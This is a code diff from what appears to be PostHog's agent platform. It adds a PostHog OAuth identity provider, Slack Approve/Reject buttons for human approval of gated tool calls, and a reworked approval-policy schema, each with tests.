+ refresh_token: 'rt-1',
+ token_type: 'Bearer',
+ expires_in: 3600,
+ }),
+ { status: 200, headers: { 'content-type': 'application/json' } }
+ )
+ }
+ if (url.endsWith('/oauth/userinfo/')) {
+ return new Response(JSON.stringify({ sub, email: '[email protected]' }), {
+ status: 200,
+ headers: { 'content-type': 'application/json' },
+ })
+ }
+ return new Response('not found', { status: 404 })
+ },
+ }
+}
+
+class MemLinkStore implements IdentityLinkStateStore {
+ private rows = new Map<string, LinkState & { used: boolean }>()
+ private seq = 0
+ async create(input: CreateLinkStateInput): Promise<string> {
+ const id = `state-${++this.seq}`
+ this.rows.set(id, {
+ id,
+ teamId: input.teamId,
+ applicationId: input.applicationId,
+ agentUserId: input.agentUserId,
+ provider: input.provider,
+ scopes: input.scopes,
+ codeVerifier: input.codeVerifier,
+ redirectUri: input.redirectUri,
+ used: false,
+ })
+ return id
+ }
+ async peek(id: string): Promise<{ applicationId: string; provider: string } | null> {
+ const r = this.rows.get(id)
+ return r && !r.used ? { applicationId: r.applicationId, provider: r.provider } : null
+ }
+ async consume(id: string): Promise<LinkState | null> {
+ const r = this.rows.get(id)
+ if (!r || r.used) {
+ return null
+ }
+ r.used = true
+ const { used: _used, ...state } = r
+ return state
+ }
+ async sweepExpired(): Promise<number> {
+ return 0
+ }
+}
+
+class MemCredStore implements IdentityCredentialStore {
+ private rows = new Map<string, { input: PutLinkedCredentialInput; subject?: string; state: string }>()
+ private key(a: string, p: string): string {
+ return `${a}::${p}`
+ }
+ async put(input: PutLinkedCredentialInput): Promise<void> {
+ const k = this.key(input.agentUserId, input.provider)
+ const existing = this.rows.get(k)
+ // Mirror the SQL COALESCE: a refresh (subject undefined) keeps the prior subject.
+ this.rows.set(k, { input, subject: input.subject ?? existing?.subject, state: 'active' })
+ }
+ async get(agentUserId: string, provider: string): Promise<LinkedCredential | null> {
+ const r = this.rows.get(this.key(agentUserId, provider))
+ if (!r || r.state !== 'active') {
+ return null
+ }
+ return {
+ agentUserId,
+ provider,
+ credential: r.input.credential,
+ scopes: r.input.scopes ?? r.input.credential.scopes ?? [],
+ }
+ }
+ async getEstablishedSubject(agentUserId: string): Promise<string | null> {
+ for (const [k, r] of this.rows) {
+ if (k.startsWith(`${agentUserId}::`) && r.state === 'active' && r.subject) {
+ return r.subject
+ }
+ }
+ return null
+ }
+ async getAgentScoped(): Promise<LinkedCredential | null> {
+ throw new Error('agent_binding_not_implemented')
+ }
+ async revoke(): Promise<void> {}
+ async remove(): Promise<void> {}
+}
+
+const initiateArgs = {
+ agentUserId: 'au-1',
+ teamId: 7,
+ applicationId: 'app-1',
+ scopes: ['user:read'],
+ redirectUri: 'https://cb.test/link/posthog/callback',
+}
+
+function posthogProvider(
+ http: HttpFetcher,
+ deps: { links: MemLinkStore; credentials: MemCredStore }
+): PostHogAuthProvider {
+ return new PostHogAuthProvider({
+ config: {
+ id: 'posthog',
+ authorizeUrl: `${BASE}/oauth/authorize/`,
+ tokenUrl: `${BASE}/oauth/token/`,
+ userinfoUrl: `${BASE}/oauth/userinfo/`,
+ clientId: 'provisioned-client',
+ scopes: ['user:read'],
+ },
+ links: deps.links,
+ credentials: deps.credentials,
+ http,
+ })
+}
+
+describe('PostHogAuthProvider', () => {
+ it('establishes identity', () => {
+ const provider = posthogProvider(scriptedHttp('phuser-9'), {
+ links: new MemLinkStore(),
+ credentials: new MemCredStore(),
+ })
+ expect(provider.establishesIdentity).toBe(true)
+ })
+
+ it('stamps the userinfo sub as the credential subject on complete', async () => {
+ const links = new MemLinkStore()
+ const credentials = new MemCredStore()
+ const provider = posthogProvider(scriptedHttp('phuser-9'), { links, credentials })
+
+ const { stateId } = await provider.initiate(initiateArgs)
+ await provider.complete({ stateId, query: { code: 'code-1', state: stateId } })
+
+ expect(await credentials.getEstablishedSubject('au-1')).toBe('phuser-9')
+ const linked = await credentials.get('au-1', 'posthog')
+ expect(linked?.credential.access_token).toBe('at-1')
+ })
+
+ it('keeps the established subject across a token refresh (resolve never re-derives it)', async () => {
+ const links = new MemLinkStore()
+ const credentials = new MemCredStore()
+ // expires_in is small so resolve() takes the refresh branch immediately.
+ const http: HttpFetcher = {
+ async fetch(input, init) {
+ const url = String(input)
+ if (init?.method === 'POST' && url.endsWith('/oauth/token/')) {
+ return new Response(
+ JSON.stringify({
+ access_token: 'at-2',
+ refresh_token: 'rt-2',
+ token_type: 'Bearer',
+ expires_in: 1,
+ }),
+ { status: 200, headers: { 'content-type': 'application/json' } }
+ )
+ }
+ if (url.endsWith('/oauth/userinfo/')) {
+ return new Response(JSON.stringify({ sub: 'phuser-9' }), {
+ status: 200,
+ headers: { 'content-type': 'application/json' },
+ })
+ }
+ return new Response('nope', { status: 404 })
+ },
+ }
+ const provider = new PostHogAuthProvider({
+ config: {
+ id: 'posthog',
+ authorizeUrl: `${BASE}/oauth/authorize/`,
+ tokenUrl: `${BASE}/oauth/token/`,
+ userinfoUrl: `${BASE}/oauth/userinfo/`,
+ clientId: 'provisioned-client',
+ scopes: ['user:read'],
+ },
+ links,
+ credentials,
+ http,
+ now: () => 10_000_000, // far past the 1s token expiry → forces a refresh
+ })
+
+ const { stateId } = await provider.initiate(initiateArgs)
+ await provider.complete({ stateId, query: { code: 'code-1', state: stateId } })
+ // Refresh path runs (token already expired against the fixed clock).
+ await provider.resolve({ agentUserId: 'au-1', teamId: 7, applicationId: 'app-1', scopes: ['user:read'] })
+
+ expect(await credentials.getEstablishedSubject('au-1')).toBe('phuser-9')
+ })
+
+ it('the generic oauth2 provider stamps no subject against the same server', async () => {
+ const links = new MemLinkStore()
+ const credentials = new MemCredStore()
+ const provider = new Oauth2AuthProvider({
+ config: {
+ id: 'byo',
+ authorizeUrl: `${BASE}/oauth/authorize/`,
+ tokenUrl: `${BASE}/oauth/token/`,
+ userinfoUrl: `${BASE}/oauth/userinfo/`,
+ clientId: 'byo-client',
+ scopes: ['user:read'],
+ },
+ links,
+ credentials,
+ http: scriptedHttp('phuser-9'),
+ })
+ expect(provider.establishesIdentity).toBe(false)
+
+ const { stateId } = await provider.initiate(initiateArgs)
+ await provider.complete({ stateId, query: { code: 'code-1', state: stateId } })
+
+ // Linked as a capability, but no subject → not identity-bearing.
+ expect(await credentials.getEstablishedSubject('au-1')).toBeNull()
+ expect(await credentials.get('au-1', 'byo')).not.toBeNull()
+ })
+})
diff --git a/products/agent_platform/services/agent-shared/src/runtime/posthog-identity-provider.ts b/products/agent_platform/services/agent-shared/src/runtime/posthog-identity-provider.ts
new file mode 100644
index 000000000000..1742af27381f
--- /dev/null
+++ b/products/agent_platform/services/agent-shared/src/runtime/posthog-identity-provider.ts
@@ -0,0 +1,102 @@
+/**
+ * Managed PostHog identity provider. PostHog's own OAuth2 surface
+ * (/oauth/authorize, /oauth/token, /oauth/userinfo) is standard auth-code +
+ * PKCE, so this is just the generic `Oauth2AuthProvider` with three additions:
+ *
+ * 1. `establishesIdentity = true` — linking proves WHO the principal is.
+ * 2. `deriveSubject` reads /oauth/userinfo `sub` (the PostHog user uuid) so
+ * `complete()` stamps it on the stored credential. Per-asker auth then
+ * resolves the PostHog user behind a Slack principal from that subject.
+ * 3. `credentialTarget = 'posthog_api'` — the broker key the native
+ * `@posthog/*` tools resolve under, and the key `createToolIdentity`
+ * consults for the trigger-edge seed (PostHog Code passthrough). The
+ * linked-credential store stays keyed by the provider `id` (default
+ * `posthog`); both axes resolve to the same logical PostHog bearer.
+ *
+ * The OAuthApplication backing this is provisioned per-agent by Django on
+ * promote (a normal, user-consented app — not first-party); its client_id is
+ * injected into the frozen spec and threaded in as `config.clientId`.
+ */
+
+import type { Credential } from './credential-broker'
+import type {
+ IdentityCompleteInput,
+ IdentityCompleteResult,
+ IdentityInitiateInput,
+ IdentityInitiateResult,
+ IdentityProvider,
+ IdentityResolveInput,
+} from './identity-provider'
+import { Oauth2AuthProvider } from './oauth2-identity-provider'
+
+export class PostHogAuthProvider extends Oauth2AuthProvider {
+ override readonly establishesIdentity = true
+
+ // The edge seed (PostHog Code's posthog bearer) and the native `@posthog/*`
+ // tools both key off `posthog_api`; the linked store stays keyed by `id`.
+ override get credentialTarget(): string {
+ return 'posthog_api'
+ }
+
+ protected override async deriveSubject(accessToken: string): Promise<string | undefined> {
+ const url = this.deps.config.userinfoUrl
+ if (!url) {
+ return undefined
+ }
+ // Best-effort: a userinfo hiccup must not block the link succeeding as a
+ // capability. Without a subject the credential just isn't identity-bearing.
+ try {
+ const res = await this.deps.http.fetch(url, {
+ method: 'GET',
+ headers: { Authorization: `Bearer ${accessToken}`, Accept: 'application/json' },
+ })
+ if (!res.ok) {
+ return undefined
+ }
+ const json = (await res.json()) as { sub?: string }
+ return typeof json.sub === 'string' && json.sub.length > 0 ? json.sub : undefined
+ } catch {
+ return undefined
+ }
+ }
+}
+
+/**
+ * Surfaces the trigger-edge PostHog bearer (PostHog Code passthrough) but can't
+ * link. Registered implicitly when no `{kind:posthog}` provider is declared, so a
+ * posthog-principal session resolves `posthog` without provisioning an
+ * OAuthApplication. With no seed and no link, `resolve()` is null and `initiate()`
+ * refuses — so a non-posthog asker resolves to `unavailable`, not a dead link.
+ */
+export class SeedOnlyPostHogProvider implements IdentityProvider {
+ readonly establishesIdentity = false
+ readonly binding = 'principal' as const
+ private readonly host: string
+
+ constructor(
+ readonly id: string,
+ posthogApiBaseUrl: string
+ ) {
+ this.host = new URL(posthogApiBaseUrl).host
+ }
+
+ get credentialTarget(): string {
+ return 'posthog_api'
+ }
+
+ allowedHosts(): string[] {
+ return [this.host]
+ }
+
+ async initiate(_input: IdentityInitiateInput): Promise<IdentityInitiateResult> {
+ throw new Error('link_unavailable_no_oauth_app')
+ }
+
+ async complete(_input: IdentityCompleteInput): Promise<IdentityCompleteResult> {
+ throw new Error('link_unavailable_no_oauth_app')
+ }
+
+ async resolve(_input: IdentityResolveInput): Promise<Credential | null> {
+ return null
+ }
+}
diff --git a/products/agent_platform/services/agent-shared/src/runtime/slack-reply.test.ts b/products/agent_platform/services/agent-shared/src/runtime/slack-reply.test.ts
index 491edf08ea79..bd9a80721b31 100644
--- a/products/agent_platform/services/agent-shared/src/runtime/slack-reply.test.ts
+++ b/products/agent_platform/services/agent-shared/src/runtime/slack-reply.test.ts
@@ -1,7 +1,14 @@
import { describe, expect, it, vi } from 'vitest'
import { HttpFetcher } from './http-client'
-import { isSlackTriggerMetadata, postSlackReply, SlackStatusReporter, slackTextFromContent } from './slack-reply'
+import {
+ decodeApprovalActionValue,
+ isSlackTriggerMetadata,
+ postSlackApprovalButtons,
+ postSlackReply,
+ SlackStatusReporter,
+ slackTextFromContent,
+} from './slack-reply'
function jsonResponse(body: unknown, status = 200): Response {
return new Response(JSON.stringify(body), { status, headers: { 'content-type': 'application/json' } })
@@ -88,6 +95,70 @@ describe('postSlackReply', () => {
})
})
+describe('postSlackApprovalButtons', () => {
+ const opts = {
+ token: 'xoxb-123',
+ channel: 'C1',
+ thread_ts: '111.222',
+ sessionId: 'sess-1',
+ requestId: 'req-1',
+ toolName: '@posthog/team-delete',
+ }
+
+ it('posts Approve/Reject buttons whose values round-trip to the right callback routing', async () => {
+ const { http, fetch } = httpReturning(jsonResponse({ ok: true }))
+ const ok = await postSlackApprovalButtons(http, opts)
+ expect(ok).toBe(true)
+
+ const [url, init] = fetch.mock.calls[0]
+ expect(url).toBe('https://slack.com/api/chat.postMessage')
+ const body = JSON.parse((init as RequestInit).body as string)
+ expect(body).toMatchObject({ channel: 'C1', thread_ts: '111.222' })
+
+ // The buttons carry the opaque action values Slack echoes back on click;
+ // the ingress decodes them to route the decision to the right approval.
+ // This is the "right callback" assertion — a mis-encoded session/request
+ // id here is exactly what breaks the decision round-trip.
+ const actions = (body.blocks as Array<{ type: string; elements?: Array<{ value: string }> }>).find(
+ (b) => b.type === 'actions'
+ )
+ const values = (actions?.elements ?? []).map((e) => decodeApprovalActionValue(e.value))
+ expect(values).toEqual([
+ { decision: 'approve', sessionId: 'sess-1', requestId: 'req-1' },
+ { decision: 'reject', sessionId: 'sess-1', requestId: 'req-1' },
+ ])
+ })
+
+ it('logs an info line with the routing data it sent (debug visibility)', async () => {
+ const { http } = httpReturning(jsonResponse({ ok: true }))
+ const info = vi.fn()
+ await postSlackApprovalButtons(http, { ...opts, logger: { warn: vi.fn(), info } })
+ expect(info).toHaveBeenCalledWith(
+ expect.objectContaining({
+ session_id: 'sess-1',
+ request_id: 'req-1',
+ channel: 'C1',
+ thread_ts: '111.222',
+ approve_value: expect.any(String),
+ reject_value: expect.any(String),
+ }),
+ 'slack_approval_buttons_post'
+ )
+ })
+
+ it('warns and skips when the bot token is missing', async () => {
+ const { http, fetch } = httpReturning(jsonResponse({ ok: true }))
+ const warn = vi.fn()
+ const ok = await postSlackApprovalButtons(http, { ...opts, token: undefined, logger: { warn } })
+ expect(ok).toBe(false)
+ expect(fetch).not.toHaveBeenCalled()
+ expect(warn).toHaveBeenCalledWith(
+ expect.objectContaining({ channel: 'C1' }),
+ 'slack_approval_buttons_no_bot_token'
+ )
+ })
+})
+
describe('slackTextFromContent', () => {
it('joins text blocks and ignores non-text / empty blocks', () => {
const text = slackTextFromContent([
diff --git a/products/agent_platform/services/agent-shared/src/runtime/slack-reply.ts b/products/agent_platform/services/agent-shared/src/runtime/slack-reply.ts
index 3e8ff132b175..943649bedb38 100644
--- a/products/agent_platform/services/agent-shared/src/runtime/slack-reply.ts
+++ b/products/agent_platform/services/agent-shared/src/runtime/slack-reply.ts
@@ -180,6 +180,151 @@ export class SlackStatusReporter {
}
}
+/**
+ * Codec for the opaque Slack button `value` carrying a tool-approval decision.
+ * Shared by the poster (the runner, which renders the buttons when a
+ * `principal` approval queues) and the receiver (the ingress interactivity
+ * handler). `approval:<approve|reject>:<sessionId>:<requestId>`.
+ */
+export function encodeApprovalActionValue(opts: {
+ sessionId: string
+ requestId: string
+ decision: 'approve' | 'reject'
+}): string {
+ return `approval:${opts.decision}:${opts.sessionId}:${opts.requestId}`
+}
+
+export function decodeApprovalActionValue(
+ value: string | undefined
+): { sessionId: string; requestId: string; decision: 'approve' | 'reject' } | null {
+ if (!value) {
+ return null
+ }
+ const parts = value.split(':')
+ if (parts.length !== 4 || parts[0] !== 'approval') {
+ return null
+ }
+ const decision = parts[1]
+ if (decision !== 'approve' && decision !== 'reject') {
+ return null
+ }
+ return { decision, sessionId: parts[2], requestId: parts[3] }
+}
+
+export interface PostApprovalButtonsOpts {
+ token: string | undefined
+ channel: string
+ thread_ts: string
+ sessionId: string
+ requestId: string
+ /** Tool the model proposed — shown in the prompt so the approver has context. */
+ toolName: string
+ logger?: SlackReplyLogger
+}
+
+/**
+ * Post an in-thread Block Kit message with Approve / Reject buttons for a queued
+ * `principal` approval, so the session owner can decide right in Slack. The
+ * buttons' opaque value round-trips through `decodeApprovalActionValue` at the
+ * ingress interactivity handler, which enforces principal-match before deciding.
+ * Best-effort: never throws (a Slack hiccup must not break the agent loop).
+ */
+export async function postSlackApprovalButtons(http: HttpFetcher, opts: PostApprovalButtonsOpts): Promise<boolean> {
+ if (!opts.token) {
+ opts.logger?.warn({ session_id: opts.sessionId, channel: opts.channel }, 'slack_approval_buttons_no_bot_token')
+ return false
+ }
+ const value = (decision: 'approve' | 'reject'): string =>
+ encodeApprovalActionValue({ sessionId: opts.sessionId, requestId: opts.requestId, decision })
+ const blocks = [
+ {
+ type: 'section',
+ text: { type: 'mrkdwn', text: `*Approval needed* — \`${opts.toolName}\` is waiting for your go-ahead.` },
+ },
+ {
+ type: 'actions',
+ elements: [
+ {
+ type: 'button',
+ text: { type: 'plain_text', text: 'Approve' },
+ style: 'primary',
+ action_id: 'approval_approve',
+ value: value('approve'),
+ },
+ {
+ type: 'button',
+ text: { type: 'plain_text', text: 'Reject' },
+ style: 'danger',
+ action_id: 'approval_reject',
+ value: value('reject'),
+ },
+ ],
+ },
+ ]
+ // Visibility for debugging the approval round-trip: log exactly what routing
+ // data we put in the buttons. Slack echoes these opaque `value`s back on
+ // click and the ingress interactivity handler decodes them to find the
+ // approval — so a mis-encoded session/request id shows up here at send time.
+ // NB: the callback *URL* (where Slack POSTs the click) is the Slack app's
+ // interactivity request_url from the manifest, not anything we send here.
+ opts.logger?.info?.(
+ {
+ session_id: opts.sessionId,
+ request_id: opts.requestId,
+ channel: opts.channel,
+ thread_ts: opts.thread_ts,
+ tool_name: opts.toolName,
+ approve_value: value('approve'),
+ reject_value: value('reject'),
+ },
+ 'slack_approval_buttons_post'
+ )
+ try {
+ const res = await http.fetch('https://slack.com/api/chat.postMessage', {
+ method: 'POST',
+ headers: {
+ Authorization: `Bearer ${opts.token}`,
+ 'Content-Type': 'application/json; charset=utf-8',
+ },
+ body: JSON.stringify({
+ channel: opts.channel,
+ thread_ts: opts.thread_ts,
+ text: `Approval needed for ${opts.toolName}`,
+ blocks,
+ }),
+ })
+ let body: { ok?: boolean; error?: string } = {}
+ try {
+ body = (await res.json()) as { ok?: boolean; error?: string }
+ } catch {
+ // Non-JSON — fall through to the res.ok check.
+ }
+ if (!res.ok || body.ok === false) {
+ opts.logger?.warn(
+ {
+ session_id: opts.sessionId,
+ channel: opts.channel,
+ status: res.status,
+ slack_error: body.error ?? null,
+ },
+ 'slack_approval_buttons_failed'
+ )
+ return false
+ }
+ return true
+ } catch (err) {
+ opts.logger?.warn(
+ {
+ session_id: opts.sessionId,
+ channel: opts.channel,
+ err: err instanceof Error ? err.message : String(err),
+ },
+ 'slack_approval_buttons_threw'
+ )
+ return false
+ }
+}
+
export async function postSlackReply(http: HttpFetcher, opts: PostSlackReplyOpts): Promise<boolean> {
// The model replies in Markdown; Slack speaks mrkdwn.
const text = markdownToMrkdwn(opts.text).trim()
diff --git a/products/agent_platform/services/agent-shared/src/sandbox/sandbox-instance-store.ts b/products/agent_platform/services/agent-shared/src/sandbox/sandbox-instance-store.ts
index f6509a23863f..bc348d32bc1a 100644
--- a/products/agent_platform/services/agent-shared/src/sandbox/sandbox-instance-store.ts
+++ b/products/agent_platform/services/agent-shared/src/sandbox/sandbox-instance-store.ts
@@ -8,7 +8,7 @@
*
* Two impls:
* - `MemorySandboxInstanceStore` — tests / local dev.
- * - `PgSandboxInstanceStore` — production, backed by the table created by @posthog/agent-migrations.
+ * - `PgSandboxInstanceStore` — production, backed by the Django-owned `agent_sandbox_instance` table.
*
* Lifecycle: `provisioning → ready → terminated` (or `→ failed` on a
* provisioning error). `touch()` refreshes `last_used_at` so the staleness
diff --git a/products/agent_platform/services/agent-shared/src/spec/slack-manifest.ts b/products/agent_platform/services/agent-shared/src/spec/slack-manifest.ts
index 7370d0166155..d509046afee7 100644
--- a/products/agent_platform/services/agent-shared/src/spec/slack-manifest.ts
+++ b/products/agent_platform/services/agent-shared/src/spec/slack-manifest.ts
@@ -49,7 +49,9 @@ export interface BuildSlackManifestInput {
eventsUrl: string | null
/** Public interactivity Request URL, or null. */
interactivityUrl: string | null
- /** Native-tool id → its `requires.scopes`. Injected by the caller (janitor). */
+ /** Native-tool id → the Slack OAuth scopes it needs (its `requires.provider`
+ * scopes when that provider is `slack`, else `[]`). Injected by the caller
+ * (janitor) since agent-shared can't import agent-tools. */
scopesForNativeTool: (id: string) => string[]
}
@@ -109,7 +111,10 @@ export function buildSlackManifest(input: BuildSlackManifestInput): BuildSlackMa
// tools, plus what the trigger itself needs.
const scopes = new Set<string>(['app_mentions:read', 'chat:write'])
for (const tool of input.tools) {
- if (tool.kind === 'native' && tool.id.startsWith('@posthog/slack-')) {
+ // `scopesForNativeTool` returns the tool's Slack scopes only when its
+ // declared provider is `slack` (else `[]`), so we no longer special-case
+ // the `@posthog/slack-` id prefix — the provider is the source of truth.
+ if (tool.kind === 'native') {
for (const scope of input.scopesForNativeTool(tool.id)) {
scopes.add(scope)
}
diff --git a/products/agent_platform/services/agent-shared/src/spec/spec.test.ts b/products/agent_platform/services/agent-shared/src/spec/spec.test.ts
index a79a72a4ed78..2a56d28aadc6 100644
--- a/products/agent_platform/services/agent-shared/src/spec/spec.test.ts
+++ b/products/agent_platform/services/agent-shared/src/spec/spec.test.ts
@@ -252,9 +252,8 @@ describe('AgentSpecSchema', () => {
throw new Error('expected native tool')
}
expect(t.requires_approval).toBe(false)
- expect(t.approval_policy.approvers).toEqual(['team_admins'])
+ expect(t.approval_policy.type).toBe('principal')
expect(t.approval_policy.allow_edit).toBe(false)
- expect(t.approval_policy.allow_agent_approver).toBe(false)
expect(t.approval_policy.ttl_ms).toBe(24 * 60 * 60 * 1000)
})
@@ -278,8 +277,7 @@ describe('AgentSpecSchema', () => {
expect(t.approval_policy.allow_edit).toBe(true)
expect(t.approval_policy.ttl_ms).toBe(60 * 60 * 1000)
// unspecified fields still defaulted
- expect(t.approval_policy.approvers).toEqual(['team_admins'])
- expect(t.approval_policy.allow_agent_approver).toBe(false)
+ expect(t.approval_policy.type).toBe('principal')
})
it('rejects ttl_ms below 1 minute', () => {
@@ -314,26 +312,53 @@ describe('AgentSpecSchema', () => {
).toThrow()
})
- it('rejects empty approvers list', () => {
- expect(() =>
- AgentSpecSchema.parse({
- model: 'x',
- tools: [
- {
- kind: 'native',
- id: '@posthog/team-delete',
- requires_approval: true,
- approval_policy: { approvers: [] },
- },
- ],
- })
- ).toThrow()
+ it('back-compat: an unmappable legacy approvers list falls back to the default principal type', () => {
+ // An empty (or unrecognised) legacy `approvers` derives no `type`, so
+ // it lands on the `principal` default rather than throwing.
+ const spec = AgentSpecSchema.parse({
+ model: 'x',
+ tools: [
+ {
+ kind: 'native',
+ id: '@posthog/team-delete',
+ requires_approval: true,
+ approval_policy: { approvers: [] },
+ },
+ ],
+ })
+ const t = spec.tools[0]
+ if (t.kind === 'client') {
+ throw new Error('expected native tool')
+ }
+ expect(t.approval_policy.type).toBe('principal')
+ })
+
+ it('parses an explicit agent type', () => {
+ const spec = AgentSpecSchema.parse({
+ model: 'x',
+ tools: [
+ {
+ kind: 'native',
+ id: '@posthog/team-delete',
+ requires_approval: true,
+ approval_policy: { type: 'agent' },
+ },
+ ],
+ })
+ const t = spec.tools[0]
+ if (t.kind === 'client') {
+ throw new Error('expected native tool')
+ }
+ expect(t.approval_policy.type).toBe('agent')
})
- it('parses session_principal as an approver scope', () => {
- // PR 7 widened the v0 enum from `['team_admins']` to add
- // `['session_principal']` so the concierge can route gated
- // calls back to the session owner via the per-asker fast path.
+ it.each([
+ { approvers: ['session_principal'], type: 'principal' },
+ { approvers: ['team_admins'], type: 'agent' },
+ ])('back-compat: maps legacy approvers $approvers to type $type', ({ approvers, type }) => {
+ // Specs frozen before the principal/agent split carry `approvers[]`
+ // (+ `allow_agent_approver`); the preprocess derives `type` and drops
+ // the legacy keys so old revisions keep validating.
const spec = AgentSpecSchema.parse({
model: 'x',
tools: [
@@ -341,7 +366,7 @@ describe('AgentSpecSchema', () => {
kind: 'native',
id: '@posthog/team-delete',
requires_approval: true,
- approval_policy: { approvers: ['session_principal'] },
+ approval_policy: { approvers, allow_agent_approver: false, ttl_ms: 900_000 },
},
],
})
@@ -349,10 +374,14 @@ describe('AgentSpecSchema', () => {
if (t.kind === 'client') {
throw new Error('expected native tool')
}
- expect(t.approval_policy.approvers).toEqual(['session_principal'])
+ expect(t.approval_policy.type).toBe(type)
+ expect(t.approval_policy.ttl_ms).toBe(900_000)
+ // Legacy keys are gone from the parsed shape.
+ expect('approvers' in t.approval_policy).toBe(false)
+ expect('allow_agent_approver' in t.approval_policy).toBe(false)
})
- it('rejects approver scopes not yet supported in v0', () => {
+ it('rejects an invalid approval type', () => {
expect(() =>
AgentSpecSchema.parse({
model: 'x',
@@ -361,7 +390,7 @@ describe('AgentSpecSchema', () => {
kind: 'native',
id: '@posthog/team-delete',
requires_approval: true,
- approval_policy: { approvers: ['session_owner'] },
+ approval_policy: { type: 'session_owner' },
},
],
})
@@ -405,7 +434,7 @@ describe('AgentSpecSchema', () => {
{
name: 'agent-applications-revisions-promote-create',
requires_approval: true,
- approval_policy: { approvers: ['session_principal'], ttl_ms: 900_000 },
+ approval_policy: { type: 'principal', ttl_ms: 900_000 },
},
],
},
@@ -419,7 +448,7 @@ describe('AgentSpecSchema', () => {
}
expect(gated.name).toBe('agent-applications-revisions-promote-create')
expect(gated.requires_approval).toBe(true)
- expect(gated.approval_policy.approvers).toEqual(['session_principal'])
+ expect(gated.approval_policy.type).toBe('principal')
expect(gated.approval_policy.ttl_ms).toBe(900_000)
// Unspecified fields fall through to the approval-policy defaults.
expect(gated.approval_policy.allow_edit).toBe(false)
@@ -728,4 +757,23 @@ describe('AgentSpecSchema', () => {
expect(principalsMatch(stored, incoming)).toBe(expected)
})
})
+
+ describe('identity_providers[] binding', () => {
+ it('accepts the per-asker `principal` binding (defaulting when omitted)', () => {
+ const spec = AgentSpecSchema.parse({
+ model: 'x',
+ identity_providers: [{ kind: 'posthog' }],
+ })
+ expect(spec.identity_providers[0]?.binding).toBe('principal')
+ })
+
+ it('rejects the unimplemented `agent` binding (the runtime seam exists, but a spec cannot select it)', () => {
+ expect(() =>
+ AgentSpecSchema.parse({
+ model: 'x',
+ identity_providers: [{ kind: 'posthog', binding: 'agent' }],
+ })
+ ).toThrow()
+ })
+ })
})
diff --git a/products/agent_platform/services/agent-shared/src/spec/spec.ts b/products/agent_platform/services/agent-shared/src/spec/spec.ts
index 051ee70d03f4..bc9efe7d98ad 100644
--- a/products/agent_platform/services/agent-shared/src/spec/spec.ts
+++ b/products/agent_platform/services/agent-shared/src/spec/spec.ts
@@ -300,48 +300,84 @@ export const TriggerSchema = z.discriminatedUnion('type', [
])
/**
- * Approval policy attached to a tool ref. Authoritative defaults live here —
- * the dispatcher reads `ToolRef.approval_policy` directly after Zod parsing,
- * so omitting fields in the spec falls through to these values.
+ * Approval `type` — who clears a gated call. Two independent authorities:
+ * - `principal` (default) — the session's principal: whoever drove this
+ * session. A *generic identity match* (slack user id / jwt sub / posthog
+ * uuid == the session principal), NOT a PostHog-authority check, so it works
+ * for a Slack or embedded-app asker with no PostHog account. Decided via the
+ * lightweight ingress decision API (a Slack button, a client tool, or the
+ * PostHog Code approval card).
+ * - `agent` — the agent's owning-team admins (org-membership ADMIN level on
+ * the owning team; see Django `_require_team_admin`). The one intrinsically-
+ * PostHog authority; decided only in the authenticated console / approvals
+ * inbox. (A creator who isn't a team admin can't decide today — kept simple
+ * until a finer owner grant exists.)
*
- * `approvers` is a closed set in v0 (`team_admins` only); see plan §6.1 for
- * why richer scopes are deferred.
+ * Neither auto-dispatches: the owner/principal being the *asker* is not consent
+ * to the specific call the model emitted (prompt injection in content the agent
+ * read could steer it), so every gated call queues for an explicit human action.
*/
+export const ApprovalTypeSchema = z.enum(['principal', 'agent'])
+export type ApprovalType = z.infer<typeof ApprovalTypeSchema>
+
/**
- * Approver scopes accepted in v0:
- * - `team_admins` — any user with the `org_admin` / `team_admin` role on
- * the owning team. The default scope on every gated tool.
- * - `session_principal` — the auth-time principal stored on the session
- * row (NOT the most recent /send sender — see B1 in
- * `runtime-mcps.md` "Resolved design"). Marks the session owner as the
- * approver. Unlike `team_admins`, this is NOT a per-asker fast-path:
- * the owner being the asker is not consent to the specific gated call
- * the model emitted (prompt injection in content the agent reads can
- * steer that call), so a `session_principal` gate always queues for an
- * explicit human decision and never auto-dispatches. Decision-side
- * routing — letting the session owner clear the queued approval rather
- * than only a team admin — widens later via approver-scope routing in
- * `approval-gated-tools.md` §6.
+ * Map a pre-rebuild `approvers[]` scope to the new `type`, so specs frozen
+ * before the principal/agent split keep parsing. `team_admins` was the owner
+ * authority → `agent`; `session_principal` → `principal`.
*/
-export const ApproverScopeSchema = z.enum(['team_admins', 'session_principal'])
+function legacyApproversToApprovalType(approvers: unknown): ApprovalType | undefined {
+ if (!Array.isArray(approvers)) {
+ return undefined
+ }
+ if (approvers.includes('team_admins')) {
+ return 'agent'
+ }
+ if (approvers.includes('session_principal')) {
+ return 'principal'
+ }
+ return undefined
+}
-export const ApprovalPolicySchema = z.object({
- approvers: z.array(ApproverScopeSchema).min(1).default(['team_admins']),
- allow_edit: z.boolean().default(false),
- ttl_ms: z
- .number()
- .int()
- .min(60_000) // 1 minute
- .max(7 * 24 * 60 * 60 * 1000) // 7 days
- .default(24 * 60 * 60 * 1000), // 24h
- allow_agent_approver: z.boolean().default(false),
-})
+/**
+ * Approval policy attached to a tool ref / MCP tool entry. Authoritative
+ * defaults live here — the dispatcher reads `approval_policy` directly after Zod
+ * parsing, so omitting fields falls through to these values.
+ */
+export const ApprovalPolicySchema = z.preprocess(
+ (raw) => {
+ // Back-compat: pre-rebuild specs carry `approvers[]` + `allow_agent_approver`
+ // instead of `type`. Derive `type` from the old scope and drop the legacy
+ // keys so old frozen revisions still validate.
+ if (
+ raw &&
+ typeof raw === 'object' &&
+ !Array.isArray(raw) &&
+ (raw as Record<string, unknown>).type === undefined
+ ) {
+ const obj = { ...(raw as Record<string, unknown>) }
+ const type = legacyApproversToApprovalType(obj.approvers)
+ delete obj.approvers
+ delete obj.allow_agent_approver
+ return type ? { ...obj, type } : obj
+ }
+ return raw
+ },
+ z.object({
+ type: ApprovalTypeSchema.default('principal'),
+ allow_edit: z.boolean().default(false),
+ ttl_ms: z
+ .number()
+ .int()
+ .min(60_000) // 1 minute
+ .max(7 * 24 * 60 * 60 * 1000) // 7 days
+ .default(24 * 60 * 60 * 1000), // 24h
+ })
+)
const DEFAULT_APPROVAL_POLICY = {
- approvers: ['team_admins' as const],
+ type: 'principal' as const,
allow_edit: false,
ttl_ms: 24 * 60 * 60 * 1000,
- allow_agent_approver: false,
}
export const ToolRefSchema = z.discriminatedUnion('kind', [
@@ -350,6 +386,9 @@ export const ToolRefSchema = z.discriminatedUnion('kind', [
id: z.string(),
requires_approval: z.boolean().default(false),
